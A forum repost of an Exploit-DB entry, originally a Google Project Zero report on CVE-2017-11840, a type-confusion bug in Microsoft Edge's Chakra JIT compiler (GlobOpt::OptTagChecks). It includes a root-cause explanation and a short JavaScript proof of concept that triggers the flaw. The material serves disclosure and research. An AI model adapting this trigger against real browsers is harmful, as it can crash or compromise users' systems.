Exploit Microsoft Edge Chakra JIT - 'GlobOpt::OptTagChecks' Must Consider IsLoopPrePass Properly

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
43183
Проверка EDB
  1. Пройдено
Автор
GOOGLE SECURITY RESEARCH
Тип уязвимости
DOS
Платформа
WINDOWS
CVE
cve-2017-11840
Дата публикации
2017-11-27
Microsoft Edge Chakra JIT - 'GlobOpt::OptTagChecks' Must Consider IsLoopPrePass Properly
Код:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1365

Some background: https://bugs.chromium.org/p/project-zero/issues/detail?id=1364

There's one more place that emits a BailOnNotObject opcode.

Here's a snippet of GlobOpt::OptTagChecks.
    if (valueType.CanBeTaggedValue() &&
        !valueType.HasBeenNumber() &&
        (this->IsLoopPrePass() || !this->currentBlock->loop))
    {
        ValueType newValueType = valueType.SetCanBeTaggedValue(false);

        // Split out the tag check as a separate instruction.
        IR::Instr *bailOutInstr;
        bailOutInstr = IR::BailOutInstr::New(Js::OpCode::BailOnNotObject, IR::BailOutOnTaggedValue, instr, instr->m_func);
        ...
    }

The JIT compiler analyzes a loop twice for some reasons such as to track types properly. In the first analysis, "IsLoopPrePass" returns true. And it returns false in the second analysis.

But in the above snippet, it emits the bailout opcode in the first analysis("this->IsLoopPrePass()" is satisfied). But the return value of "valueType.HasBeenNumber()" can be different in the second analysis. So it may fail to detect type changes.

PoC:
*/

function opt() {
    let obj = [2.3023e-320];
    for (let i = 0; i < 1; i++) {
        obj.x = 1;  // In the first analysis, BailOnNotObject emitted
        obj = +obj;  // Change the type
        obj.x = 1;  // Type confusion
    }
}

function main() {
    for (let i = 0; i < 1000; i++) {
        opt();
    }
}

main();
 
Источник
www.exploit-db.com

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